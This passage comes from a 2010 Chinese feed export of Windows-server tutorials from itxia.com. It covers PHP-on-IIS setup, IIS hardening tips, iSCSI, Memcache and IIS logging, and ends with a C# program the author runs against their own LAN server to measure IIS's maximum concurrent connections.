　　溢出是程序设计者设计时的不足所带来的错误,溢出也是是操作系统、应用软件永远的痛。在骇客频频攻击、系统漏洞层出不穷的今天，任何人都不能保证操作系统系统、应用程序不被溢出。既然溢出是必然的，并且利用溢出攻击的门槛又较低，有一定电脑基础的人都可以利用工具完成一次溢出。这样看来，电脑系统就处于随时被溢出的危险中，特别是肩负重任的服务器如果被溢出被渗透的话那后果不堪设想。我们总不能坐以待毙，做为网络管理人员，应该未雨绸廖做好防范工作，把服务器被溢出的可能性降到最低。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>　　烈火建站网(LieHuo.Net)讯 虽然 LAMP 组合很不错，但是如果 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9717.html </link>
<description> </description>
<text>

　　烈火建站学院(LieHuo.Net)讯 虽然 LAMP 组合很不错，但是如果想要架设一台同时支持PHP、ASP、ASP.NET、JSP、Perl的Web虚拟主机服务器，还是用 Windows 2003的IIS 6最好。网上有很多介绍在IIS 6上配置PHP的文章，但是那些方法不是性能不好，就是升级麻烦。下面的方法可以让你在第一次配置好后，能够非常方便的进行升级。 
　　这里所说的升级，是指从某个php4版本升级到另一个php4版本，或者从某个php5版本升级到另一个php5版本，而不是指从php4升级到php5。 
　　准备： 
　　1、一台安装好的 Windows 2003 服务器，并且已经安装了 IIS 6。 
　　2、下载 windows 版的 PHP 二进制压缩包 
　　安装： 
　　解压缩 PHP 二进制压缩包到 C:\php 目录下（这里假设 C: 盘是系统盘，即安装了Windows 系统的盘，如果系统盘是 D: 盘，则解压缩到 D:\php 目录下，以此类推，下同）。 
　　然后打开&amp;ldquo;我的电脑&amp;rdquo;-&amp;gt;&amp;ldquo;属性&amp;rdquo;-&amp;gt;&amp;ldquo;高级&amp;rdquo;-&amp;gt;&amp;ldquo;环境变量&amp;rdquo;-&amp;gt;&amp;ldquo;系统变量&amp;rdquo;-&amp;gt;&amp;ldquo;path&amp;rdquo;，编辑其值，在前面增加下面的路径地址： 
　　C:\php;C:\php\dlls;C:\php\extensions;C:\php\sapi; 
　　将 php.ini-dist 或 php.ini-recommended 复制到 C:\Windows 目录下，并改名为 php.ini，一般正式发布网站的服务器用 php.ini-dist，而作为调试用的服务器用 php.ini-recommended 更好。当然一般情况下，这个 php.ini 还是需要根据实际情况来修改的。 
　　下面来介绍一下几个必要的修改选项： 
　　extension_dir = &amp;quot;C:\php\extensions&amp;quot; 
　　这个是 PHP 扩展所放置的目录，请确保跟你实际安装的目录相同。 
　　extension=php_mbstring.dll 
　　;extension=php_big_int.dll 
　　extension=php_bz2.dll 
　　extension=php_cpdf.dll 
　　extension=php_crack.dll 
　　extension=php_curl.dll 
　　extension=php_db.dll 
　　extension=php_dba.dll 
　　extension=php_dbase.dll 
　　extension=php_dbx.dll 
　　extension=php_domxml.dll 
　　;extension=php_exif.dll 
　　;extension=php_fdf.dll 
　　;extension=php_filepro.dll 
　　extension=php_gd2.dll 
　　extension=php_gettext.dll 
　　extension=php_hyperwave.dll 
　　extension=php_iconv.dll 
　　;extension=php_ifx.dll 
　　;extension=php_iisfunc.dll 
　　extension=php_imap.dll 
　　;extension=php_interbase.dll 
　　extension=php_java.dll 
　　extension=php_ldap.dll 
　　;extension=php_mcrypt.dll 
　　extension=php_mhash.dll 
　　extension=php_mime_magic.dll 
　　extension=php_ming.dll 
　　extension=php_mssql.dll 
　　extension=php_msql.dll 
　　;extension=php_oci8.dll 
　　extension=php_openssl.dll 
　　;extension=php_oracle.dll 
　　extension=php_pdf.dll 
　　extension=php_pgsql.dll 
　　;extension=php_printer.dll 
　　extension=php_shmop.dll 
　　;extension=php_snmp.dll 
　　extension=php_sockets.dll 
　　;extension=php_sybase_ct.dll 
　　extension=php_w32api.dll 
　　extension=php_xmlrpc.dll 
　　extension=php_xslt.dll 
　　extension=php_yaz.dll 
　　extension=php_zip.dll 
　　上面这些，开头没有加分号的是打开的扩展，加了分号的是没有打开的扩展。上面的设置包含了在 Windows 2003 上默认安装情况下可以打开所有扩展（这里列出的是 php 4 的）。 
　　session.save_path = c:\sessions 
　　这个是 session 文件默认保存的目录，这个目录必须是一个存在的目录，不然默认的 session 功能会无效。我这里设置的是一个 ramdisk 上的一个目录。将 session.save_path 设置在 ramdisk 上可以加快 session 处理的速度。如果你没有安装 ramdisk，你可以把它指定到其他盘的任何一个目录下，如 C:\sessions 目录、C:\Windows\Temp 目录等。 
　　OK，基本工作作完了，现在该配置 IIS 了。 
　　打开&amp;ldquo; Internet 信息服务(IIS)管理器&amp;rdquo;，在&amp;ldquo; Web 服务扩展&amp;rdquo;里，选择&amp;ldquo;添加一个新的 Web 服务扩展&amp;rdquo;，扩展名可填写&amp;ldquo;PHP ISAPI 扩展&amp;rdquo;，要求的文件选择：C:\php\sapi\php4isapi.dll（如果安装的是 PHP5，则此处是 C:\php\sapi\php5isapi.dll，下同），并设置扩展状态为允许。 
　　打开&amp;ldquo;网站&amp;rdquo;-&amp;gt;&amp;ldquo;属性&amp;rdquo;-&amp;gt;&amp;ldquo;ISAPI 筛选器&amp;rdquo;-&amp;gt;&amp;ldquo;添加&amp;rdquo;，筛选器名称可填写&amp;ldquo;PHP&amp;rdquo;，可执行文件仍然选择 C:\php\sapi\php4isapi.dll。 
　　打开&amp;ldquo;网站&amp;rdquo;-&amp;gt;&amp;ldquo;属性&amp;rdquo;-&amp;gt;&amp;ldquo;主目录&amp;rdquo;-&amp;gt;&amp;ldquo;应用程序设置&amp;rdquo;-&amp;gt;&amp;ldquo;配置&amp;rdquo;-&amp;gt;&amp;ldquo;应用程序扩展&amp;rdquo;-&amp;gt;&amp;ldquo;添加&amp;rdquo;，可执行文件还是选择 C:\php\sapi\php4isapi.dll。扩展名填写&amp;ldquo;.php&amp;rdquo;，动作限制为&amp;ldquo;HEAD,GET,POST&amp;rdquo;。 
　　打开&amp;ldquo;网站&amp;rdquo;-&amp;gt;&amp;ldquo;属性&amp;rdquo;-&amp;gt;&amp;ldquo;文档&amp;rdquo;-&amp;gt;&amp;ldquo;启用默认内容文档&amp;rdquo;-&amp;gt;&amp;ldquo;添加&amp;rdquo;，可以将 index.php 添加为默认内容文档。 
　　然后选择&amp;ldquo;服务器机器名&amp;rdquo;-&amp;gt;&amp;ldquo;所有任务&amp;rdquo;-&amp;gt;&amp;ldquo;重新启动 IIS&amp;rdquo;来重启 IIS。 
　　测试 
　　在默认网站发布目录下，建立一个测试页面： 
　　下载：phptest.php 
　　phpinfo(); 
　　?&amp;gt; 
　　如果打开这个页面能够看到 php 安装配置信息，就算是安装成功了。 
　　如果想要更优化的执行 php 程序，可以安装 ZendOptimizer-2.6.0-Windows-i386.exe ，这个东西安装非常简单，这里就不介绍了。 
　　升级 
　　现在升级就非常简单了。只需要将新版本的 PHP 二进制压缩包下载下来，将原来的 C:\php 目录删除，将新版本解压缩到 C:\php 目录中，然后重新启动一下 IIS 就可以了。不需要修改任何配置，也不需要往 System32 目录中复制任何文件。是不是很方便啊？ </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>　　烈火建站网(LieHuo.Net)服务器教程 通常地，大多数Web站点的 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9718.html </link>
<description> </description>
<text>

　　烈火建站学院(LieHuo.Net)服务器教程 通常地，大多数Web站点的设计目标都是：以最易接受的方式，为访问者提供即时的信息访问。在过去的几年中，越来越多的黑客、病毒和蠕虫带来的安全问题严重影响了网站的可访问性，尽管Apache服务器也常常是攻击者的目标，然而微软的Internet信息服务(IIS) Web服务器才是真正意义上的众矢之的。 
　　高级教育机构往往无法在构建充满活力、界面友好的网站还是构建高安全性的网站之间找到平衡点。另外，它们现在必须致力于提高网站安全性以面对缩减中的技术预算 (其实许多它们的私有部门也面临着相似的局面)。 
　　正因为如此，我在这里将为预算而头疼的大学IT经理们提供一些技巧，以帮助他们保护他们的IIS服务器。虽然主要是面对大学里的IT专业人员的，但是这些技巧也基本上适用于希望通过少量的财政预算来提高安全性的IIS管理人员。实际上，这里面的一些技巧对拥有强大预算的IIS管理人员也是非常有用的。
　　IIS安全技巧 
　　微软的产品一向是众矢之的，因此IIS服务器特别容易成为攻击者的靶子。搞清楚了这一点后，网络管理员必须准备执行大量的安全措施。我将要为你们提供的是一个清单，服务器操作员也许会发现这是非常有用的。 
　　1. 保持Windows升级: 
　　你必须在第一时间及时地更新所有的升级，并为系统打好一切补丁。考虑将所有的更新下载到你网络上的一个专用的服务器上，并在该机器上以Web的形式将文件发布出来。通过这些工作，你可以防止你的Web服务器接受直接的Internet访问。
　　2. 使用IIS防范工具: 
　　这个工具有许多实用的优点，然而，请慎重的使用这个工具。如果你的Web服务器和其他服务器相互作用，请首先测试一下防范工具，以确定它已经被正确的配置，保证其不会影响Web服务器与其他服务器之间的通讯。 
　　3. 移除缺省的Web站点: 
　　很多攻击者瞄准inetpub这个文件夹，并在里面放置一些偷袭工具，从而造成服务器的瘫痪。防止这种攻击最简单的方法就是在IIS里将缺省的站点禁用。然后，因为网虫们都是通过IP地址访问你的网站的 (他们一天可能要访问成千上万个IP地址)，他们的请求可能遇到麻烦。将你真实的Web站点指向一个背部分区的文件夹，且必须包含安全的NTFS权限 (将在后面NTFS的部分详细阐述)。 
　　4. 如果你并不需要FTP和SMTP服务，请卸载它们: 
　　进入计算机的最简单途径就是通过FTP访问。FTP本身就是被设计满足简单读/写访问的，如果你执行身份认证，你会发现你的用户名和密码都是通过明文的形式在网络上传播的。SMTP是另一种允许到文件夹的写权限的服务。通过禁用这两项服务，你能避免更多的黑客攻击。 
　　5. 有规则地检查你的管理员组和服务:
　　有一天我进入我们的教室，发现在管理员组里多了一个用户。这意味着这时某个人已经成功地进入了你的系统，他或她可能冷不丁地将炸弹扔到你的系统里，这将会突然摧毁你的整个系统，或者占用大量的带宽以便黑客使用。黑客同样趋向于留下一个帮助服务，一旦这发生了，采取任何措施可能都太晚了，你只能重新格式化你的磁盘，从备份服务器恢复你每天备份的文件。因此，检查IIS服务器上的服务列表并保持尽量少的服务必须成为你每天的任务。你应该记住哪个服务应该存在，哪个服务不应该存在。Windows 2000 Resource Kit带给我们一个有用的程序，叫作tlist.exe，它能列出每种情况运行在svchost 之下的服务。运行这个程序可以寻找到一些你想要知道的隐藏服务。给你一个提示：任何含有daemon几个字的服务可能不是Windows本身包含的服务，都不应该存在于IIS服务器上。想要得到Windows服务的列表并知道它们各自有什么作用，请点击这里。 
　　6. 严格控制服务器的写访问权限: 
　　这听起来很容易，然而，在大学校园里，一个Web服务器实际上是有很多&amp;quot;作者&amp;quot;的。教职人员都希望让他们的课堂信息能被远程学生访问。职员们则希望与其他的职员共享他们的工作信息。服务器上的文件夹可能出现极其危险的访问权限。将这些信息共享或是传播出去的一个途径是安装第2个服务器以提供专门的共享和存储目的，然后配置你的Web服务器来指向共享服务器。这个步骤能让网络管理员将Web服务器本身的写权限仅仅限制给管理员组。
　　7. 减少/排除Web服务器上的共享: 
　　如果网络管理员是唯一拥有Web服务器写权限的人，就没有理由让任何共享存在。共享是对黑客最大的诱惑。此外，通过运行一个简单的循环批处理文件，黑客能够察看一个IP地址列表，利用命令寻找Everyone/完全控制权限的共享。 
　　总结： 
　　上述所有IIS技巧和工具(除了WhosOn以外)都是Windows自带的。不要忘记在测试你网站可达性之前一个一个的使用这些技巧和工具。如果它们一起被部署，结果可能让你损失惨重，你可能需要重启，从而遗失访问。 
　　最后的技巧: 登陆你的Web服务器并在命令行下运行netstat -an。观察有多少IP地址正尝试和你的端口建立连接，然后你将有一大堆的调查和研究要做了。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>　　烈火建站网(LieHuo.Net)服务器 默认安装的IIS是不支持FLV格 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9719.html </link>
<description> </description>
<text>

　　烈火建站学院(LieHuo.Net)服务器 默认安装的IIS是不支持FLV格式播放的，下面是让你的IIS支持FLV的方法：
　　单击【开始】&amp;rarr;【程序】&amp;rarr;【管理工具】&amp;rarr;【IIS管理器】，逐步展开&amp;ldquo;本地计算机&amp;rdquo;、&amp;ldquo;网站&amp;rdquo;，在你的网站上右击，选择【属性】，单击&amp;ldquo;HTTP头&amp;rdquo;选项卡&amp;rarr;单击&amp;ldquo;MIME类型&amp;rdquo;按钮，再单击&amp;ldquo;新建&amp;rdquo;按钮，在&amp;ldquo;扩展名&amp;rdquo;框内输入&amp;ldquo;.flv&amp;rdquo;，&amp;ldquo;MIME类型&amp;rdquo;框中输入&amp;ldquo;flv-application/octet-stream&amp;rdquo;&amp;ndash;&amp;ldquo;MIME类型&amp;rdquo;只是一个描述，输入什么都可以，然后确定即可。
　　这样你的IIS上的站点就可以支持FLV格式播放了，还有很多MIMI类型也是这样添加的。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>　　在windows storage server 2008上创建iscsi磁盘
　　前言:i </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9720.html </link>
<description> </description>
<text>副标题#e#
						



　　在windows storage server 2008上创建iscsi磁盘
　　前言:iscsi磁盘作为群集所需要的一种资源,应用比较广泛,但是iscsi提供者目前一般是由硬件厂商提供的专用存储设备提供,但是目前的设备一般动辄上万,不是很经济现实,因此目前各种各样的软件iscsi层出不穷,有开源的openfiler以及微软的storage等,windows storage server 从2003开始就支持iscsi磁盘,前提是下载iscsi software下载安装后,就有了这么个选项能在storage server上创建iscsi磁盘,
　　&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 最近CC做了不少群集的实验,比如2008的群集,vmware ha的群集,经常使用到了群集,CC使用了windows storgae server和openfiler,决定分享CC的经验给大家,他们各有各的好处,微软的胜在创建简单,人性化,但是众所周知,微软的产品是基于图形化界面的,有的朋友会觉得它不够稳定,不过没关系,linux的也有开源的openfile可选,.openfile上配置是基于英文,且配置繁琐.各取所需吧.
　　至于安装iscsi我就不提供了,一路下一步即可,安装完成后在系统的管理工具里面就有了iscsi software target,呵呵,还有个要注意的:那就是在安装这个东西之前不要去运行iscsi发起程序,否则安装iscsisoftware target会安装不上
　　
　　打开后出现如图的界面,可以创建目标,也可以为我们的目标设置快照任务,每天定时对iscsi磁盘进行快照以便恢复
　　
　　在iscsi目标上单击右键-我们选择创建iscsi目标
　　
　　打开创建iscsi目标向导
　　
　　选择目标的名称
　　


						#p#副标题#e#




　　标示符也就是i需要提供给谁访问这个iscsi磁盘
　　
　　我们选择高级,然后单击添加
　　
　　选择类型为IP地址比较简单,如果谁要访问,就把它的IP加入,这样保证了非法利用的可能性
　　&amp;nbsp;
　　比如192.168.0.2之类的
　　
　　
　　单击下一步
　　
　　ok,创建目标完成,我们下面去创建虚拟磁盘
　　
　　来在目标下右键创建一个虚拟磁盘
　　
　　

#p#副标题#e#




　　选择虚拟磁盘文件要保存的位置
　　
　　选择大小,这里要注意,如果创建100G的磁盘,会在硬盘立刻产生一个100G的vhd文件,所以需要注意酌情考虑你的磁盘大小来设置
　　
　　这里写不写都没所谓了
　　
　　完成Ok了,
　　
　　看,现在OK了,只是没有启用chap认证,我们要启用chap认证为它加个密码,另外esx主机添加iscsi磁盘的时候,我试了很多次,一定要启用chap认证才能添加到esx主机
　　在目标上单击属性
　　
　　选择身份验证
　　

#p#副标题#e#




　　单击启用chap
　　
　　然后输入一个用户名和密码,最后确定即可
　　
　　这样我们就可以在iscsi发起程序里面添加此存储和将它添加到esx主机了.
　　原文：http://www.cnblogs.com/ccfxny/archive/2009/07/02/1515702.html </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O416040IZ-13H1_lit.png </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>　　烈火网(LieHuo.Net)教程 在Windows 2000/2003 Server的域服 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9721.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 在Windows 2000/2003 Server的域服务器中，我们可以自由设定域账户登录的时间，但是对于单机用户，而且是Windows XP用户来说能不能实现呢？借助功能强大的&amp;ldquo;net user&amp;rdquo;命令完全能够满足你的要求。 　　准备工作 　　如果我们已经用户账户的创建，那么可以跳过这一步。右击&amp;ldquo;我的电脑&amp;rdquo;，在弹出的菜单中选择&amp;ldquo;管理&amp;rdquo;命令，在打开的&amp;ldquo;计算机管理&amp;rdquo;窗口左侧选择&amp;ldquo;本地用户和组&amp;rdquo;下的&amp;ldquo;用户&amp;rdquo;并右击，在弹出的菜单中选择&amp;ldquo;新用户&amp;rdquo;，然后输入用户名和密码即可。 　　限定时间 　　现在我们就可以针对创建好的账户设置允许其登录的时间。在&amp;ldquo;运行&amp;rdquo;窗口中输入&amp;ldquo;CMD&amp;rdquo;并回车打开命令提示符窗口。我们假定要操作的账户名称为abc，那么我们就可以输入net user abc/time:m-w,08:00-10:00。其中abc是指定的账户，而m-w是指星期的首写字母，而08:00-10:00是24小时制的时间，这样就表示账户abc允许登录的时间为周一到周三的上午八点到十点。如果有多个时间段则用分号隔开即可。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>很多phper不知道如何在Windows下搭建Memcache的开发调试环境，最 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9722.html </link>
<description> </description>
<text>

　　烈火网(Liehuo.Net)教程 很多phper不知道如何在Windows下搭建Memcache的开发调试环境，最近个人也在研究Memcache，记录下自己安装搭建的过程。
　　其实我开始研究Memcache的时候并不知道居然还有memcached for Win32这个鸟东西，害得我在CnetOS下折腾1天才搞定，今天突然发现Windows下的Memcache进行开发调试完全没有问题，所以写篇Memcache的文档分享给大家。
　　 Windows下的Memcache安装：
　　 1. 下载memcache的windows稳定版，解压放某个盘下面，比如在c:\memcached
　　 2. 在终端（也即cmd命令界面）下输入 &amp;lsquo;c:\memcached\memcached.exe -d install&amp;rsquo; 安装
　　 3. 再输入：&amp;lsquo;c:\memcached\memcached.exe -d start&amp;rsquo; 启动。NOTE: 以后memcached将作为windows的一个服务每次开机时自动启动。这样服务器端已经安装完毕了。
　　 4.下载php_memcache.dll，请自己查找对应的php版本的文件
　　 5. 在C:\winnt\php.ini 加入一行 &amp;lsquo;extension=php_memcache.dll&amp;rsquo;
　　 6.重新启动Apache，然后查看一下phpinfo，如果有memcache，那么就说明安装成功！ </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>日志记录对于任何一个服务器来说，都是至关重要的。对于IIS服务 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9723.html </link>
<description> </description>
<text>

　　烈火网(Liehuo.Net)教程 日志记录对于任何一个服务器来说，都是至关重要的。对于IIS服务器也不例外。在Windows7操作系统中，相比2003来说，对于IIS日志记录来说有了很大的改进。不仅仅是日志的格式，还是其他的一些可选项上，操作系统管理员有了更多的选择。如下图所示，就是IIS日志记录配置管理的基本页面。
　　Windows7上启用IIS日志记录 style=&amp;quot;DISPLAY: inline-block; FILTER: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='/uploads/allimg/090808/231UQb1-0.PNG', sizingMethod='scale'); WIDTH: 500px; HEIGHT: 167px&amp;quot;&amp;gt;
　　在Windows7操作系统中，IIS日志记录应该视为ISS所必需的而不是可选的组件。这主要是因为日志文件对于管理IIS服务器来说具有很关键的作用。如在这个IIS服务器在受到安全威胁的情况下，可以利用日志文件并对其中包含的内在细节执行排疑式审查。如到IIS服务器发生故障后也可以利用这个日志文件中所记录的信息来检查维护过程并识别系统中的问题。笔者这里就给大家介绍一下Windows7操作系统中IIS日志记录相比Windows2003操作系统的一些新特性，并帮助大家部署一种得心应手的日志管理模式。
　　一、选择合适的日志记录级别。
　　在IIS7.0版本中，系统管理员可以根据自己的需要选择合适的日志记录级别。如可以在服务器级别上进行日志记录管理，也可以在网站、WEB应用程序文件或者目录级别上实现它。具体要在那个级别上实现，主要看系统管理员的需要。不过需要注意的是，其实现级别的不同，所支持的日志文件格式也是不同的。如在&amp;ldquo;服务器&amp;rdquo;级别实现的话，其支持的日志格式就只有两种，分别为&amp;ldquo;W3C&amp;rdquo;格式与二进制格式。而如果选择&amp;ldquo;网站&amp;rdquo;级别上实现日志管理的话，则其支持的日志格式有三种，分别为IIS、NCSA、W3C格式。而且系统管理员如果觉得这些格式还不满足的话，可以通过&amp;ldquo;自定义&amp;rdquo;的方式来自定义自己需要的格式。所以在选择日志记录级别的时候，除了需要考虑在什么级别上进行日志管理比较方便与安全，同时还需要结合自己喜欢的日志格式。笔者个人喜欢在网站级别上对日志进行管理。因为在一台服务器上，如果只部署IIS服务的话，可能比较浪费。也就是说，在同一台服务器上可能有多个应用服务。为了跟其他应用服务与服务器操作系统的日志区分开来，笔者就建议大家在网站级别上进行管理。当然，在哪个级别上进行日志管理，对于日志的内容没有实际性的差异。主要是看服务器的部署以及系统管理员的工作习惯而定。
　　二、为日志记录选择合适的格式。
　　如果选择网站级别来管理日志的话，这个日志的格式有多种选择。最重要的是，系统管理员可以选择IIS的日志记录格式。这个IIS日志记录格式是基于文本的日志记录。跟W3C日志记录格式类似，都是通过HTTP.SYS来控制的。不过这个IIS日志记录格式是一个核心模式过程。而以前的日志记录都是通过用户模式来管理的。两者之间有比较大的变化。超文本传输协议侦听程序被实现为名为 HTTP.SYS的内核模式设备驱动程序。HTTP.SYS 是 Windows 网络子系统的一个重要组成部分。在以前的版本中，当在 IIS 中创建网站时，使用 HTTP.SYS注册站点，然后HTTP.SYS将 Web 请求传送到正在运行网站的用户模式进程中。同时HTTP.SYS也将响应送回客户端。除了从其内部缓存中检索存储的响应以外，HTTP.SYS并不处理它所接收到的请求。因此，应用程序特定代码永远不会加载到内核模式中。但是有些系统管理员希望HTTP.SYS能够以核心模式运行。此时就需要采用IIS日志格式。另外IIS是基于文本的日志记录，跟二进制格式的日志记录不同，直接可以通过文本浏览器等工具来查看日志信息。所以阅读起来也更加的方便。
　　当然，日志文件的格式不同，其所存储的内容都是相同的。所以日志文件的格式并不会影响日志的实际管理价值。不过为了日后管理维护的方便，笔者建立系统管理员最好还是根据自己的工作习惯来选择合适的日志格式。
　　三、选择合适的编码格式。
　　一般情况下，IIS日志文件的编码格式有两种，分别为UTF-8与ANSI两种格式。在所有的字符集中，虽然ANSI比较有名。但是这个编码格式可以说是专门为英文所设计的。用来存储其他的语言时会出现乱码的情况。如对于汉语就支持的不是很好。为了解决这个问题，特意提出了一种新的编码格式，即UTF-8。这是一种UNICODEd 一种变长字符编码。如果UNICODE字符由2个字节表示，则编码成UTF-8很可能需要3个字节，而如果UNICODE字符由4个字节表示，则编码成UTF-8可能需要6个字节。UTF-8编码可以通过屏蔽位和移位操作快速读写。字符串比较时strcmp()和wcscmp()的返回结果相同，因此使排序变得更加容易。字节FF和FE在UTF-8编码中永远不会出现，因此他们可以用来表明UTF-16或UTF-32文本。 UTF-8 是字节顺序无关的。它的字节顺序在所有系统中都是一样的。
　　这些字符集的格式对于某些系统管理员来说可能有点深奥。其实系统管理员也不需要了解的这么清楚。只需要明白一个原则。即如果日志中显示的如果都是英文的话，那么采用ANSI编码格式也不会有问题。但是如果日志中还会存在其他语言的话，则可能会出现乱码。为此笔者建议，还是采用UTF-8的编码格式为好。毕竟，其对于英文的支持力度也是很好的。为此还不如一劳永逸的将其设置为UTF-8格式为好。免得以后再日志阅读中遇到乱码的烦恼。
　　四、选择合适的日志文件滚动更新机制。
　　如果将IIS的日志记录都保存在一个文件中，显然文件会很长。到时候，查看记录的时候，会很麻烦。为此最好能够将日志文件进行分割，分割成一个个小文件。这方便与后续的查询与阅读。在Windows7操作系统的IIS日志中，提供了很多的日志文件滚动更新的方法。如可以根据时间来创建新的日志文件。如可以按天、按周或者按月来实现日志文件的滚动更新。一般情况下，按月来更新即可。如果IIS服务器访问比较频繁，也可以适当缩短这个日志文件滚动更新的时间间隔。如可以将时间间隔调整为一周或者一天等等。这个时间间隔到底多少为好，主要是看其记录的数量。如果日志记录数量多的话，那么可以适当缩短时间。相反，如果日志记录数量不是很多的话，则可以以月为单位建立新的日志文件。
　　除了可以根据时间来建立新的日志文件之外，还可以根据日志文件的大小来创建新的日志文件。在IIS日志管理器中可以选择&amp;ldquo;最大文件大小&amp;rdquo;。然后输入一个合适的尺寸。如此的话，当这个日志文件达到指定的大小之后，系统就会自动对其进行日志切换。不过笔者并不赞同采用这种方法。虽然其可以将重做日志文件控制在一个合理的大小内，但是其会打破其内在的时间联系。到时候，在遇到问题时查询起来会非常的不方便。故笔者还是建立按时间来对重做日志文件进行分割。
　　另外管理器还提供另一个有用的选项，即是否要将本地时间用户文件命名与翻滚。这是一个很有用途的选项。选中这个选项后，在系统自动建立的日志文件中就会反映这个时间信息。这对于系统管理员来查找日志文件，能够提供很大的帮助。特别是如果按文件大小来分割重做日志文件的话，一定要选中这个选项，以方便后续的查找。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>测试系统Window 2003 Server ,IIS 6.0 ,ASP.Net 3.5 sp1 Dual 1. </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9724.html </link>
<description> </description>
<text>

　　测试系统Window 2003 Server ,IIS 6.0 ,ASP.Net 3.5 sp1
　　Dual 1.8双核，2G内存，14G虚拟内存。
　　为了探寻IIS的最大并发数，先要做几个假设。
　　1、假设最大并发数就是当前的连接数。意思是当前能承受最大的连接，那么就表明最大的并发。
　　2、假设IIS应用程序池处于默认状态，更改设置将会对最大连接数产生影响。
　　做完假设，现在做限制，设置站点保持HTTP连接，超时设置成0，就是不会超时。在站点请求的default.aspx页面设置线程Thread.Sleep(int.MaxValue)，接下来开发一个用来保持连接的小程序。


    
        
            class Program {
            private volatile static int errorCount = 0;
            private volatile static int rightCount = 0;
            static void Main(string[] args) {
            ServicePointManager.DefaultConnectionLimit = 10000;
            int count = 0;
            int all = 0;
            while (true) {
            all++; count++;
            CreateThread();
            Thread.Sleep(10);
            if (count &amp;gt;= 200) {
            Console.WriteLine(string.Format(&amp;quot;sucess:{0};error:{1}&amp;quot;, all - errorCount, errorCount));
            count = 0;
            }
            if (all &amp;gt; 1800)
            break;
            }
            Console.ReadKey();
            }
            static void CreateThread() {
            Thread thread = new Thread(ActiveRequest);
            thread.IsBackground = true;
            thread.Start();
            }
            static void ActiveRequest() {
            RequestClient client = new RequestClient(&amp;quot;http://192.168.18.2/default.aspx?d=&amp;quot; + Guid.NewGuid());
            client.RequestProcess();
            if (client.IsError) {
            errorCount++;
            Console.WriteLine(string.Format(&amp;quot;错误消息:{0}&amp;quot;, client.Messages));
            } else {
            rightCount++;
            //Console.WriteLine(client.Messages);
            }
            }
            }
            /**
            * author : yurow
            * http://birdshover.cnblogs.com
            * description:
            * 
            * history : created by yurow 2009-8-16 0:29:05 
            */
            using System;
            using System.Collections.Generic;
            using System.Text;
            using System.Net;
            using System.IO;
            namespace MaxLinked {
            /// &amp;lt;summary&amp;gt;
            /// 
            /// &amp;lt;/summary&amp;gt;
            public class RequestClient {
            HttpWebRequest request;
            WebResponse response;
            public RequestClient(string url) {
            request = (HttpWebRequest)HttpWebRequest.Create(url);
            request.Timeout = int.MaxValue;
            request.KeepAlive = true;
            ErrorCode = -1;
            }
            public void AddHeader(string name, string value) {
            request.Headers.Add(name, value);
            }
            private bool isError = false;
            private StringBuilder buffer = new StringBuilder();
            public int ErrorCode { get; set; }
            public bool IsError {
            get { return isError; }
            }
            public string Messages {
            get { return buffer.ToString(); }
            }
            public void RequestProcess() {
            try {
            response = request.GetResponse();
            } catch (WebException ex) {
            ErrorCode = (int)ex.Status;
            buffer.Append(ex.Message);
            isError = true;
            } 
            if (response != null) {
            Stream stream = null;
            StreamReader reader = null;
            try {
            //stream = response.GetResponseStream();
            //reader = new StreamReader(stream, Encoding.UTF8);
            //buffer.Append(reader.ReadToEnd());
            } catch (Exception ex) {
            buffer.Append(ex.Message);
            isError = true;
            } finally {
            //if (reader != null)
            // reader.Close();
            //if (stream != null)
            // stream.Close();
            }
            } else {
            isError = true;
            buffer.Append(&amp;quot;建立连接失败！&amp;quot;);
            }
            }
            public void Close() {
            if (response != null)
            response.Close();
            request.Abort();
            }
            }
            }
            &amp;nbsp;
            
        
    


　　程序设置为只能启动1800个线程，这是由于.Net单进程最大线程数好像是2000个。因此，要测试最大并发数，要需要同时开几个测试进程。把系统虚拟内存调到最大值，线程过多会急剧占用内存。现在开始测试。
　　打开web站点的性能计数器，把显示比例调成1万。
　　发现到5000个连接时，IIS服务器崩溃(503错误)，去洗了个澡，发现IIS服务器无法自己修复错误。又测试了几次，发现最大并发值是8200个，但是一般到5000左右就会崩溃，有时候甚至只有1000个。
　　按8200个计算，一个用户开一个浏览器浏览网页，可能会占用2～3个连接(参考《IIS连接数实验&amp;mdash;&amp;mdash;Web开发必读 》),按两个计算，那么IIS默认情况下，最大并发数是4000个左右。
　　打开应用程序池配置，把最大工作进程数调高(默认为1)，能有效提高最大连接数。我记得以前看过一篇文章，讲的是调到5左右比较合适。
　　文章来自：http://birdshover.cnblogs.com </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
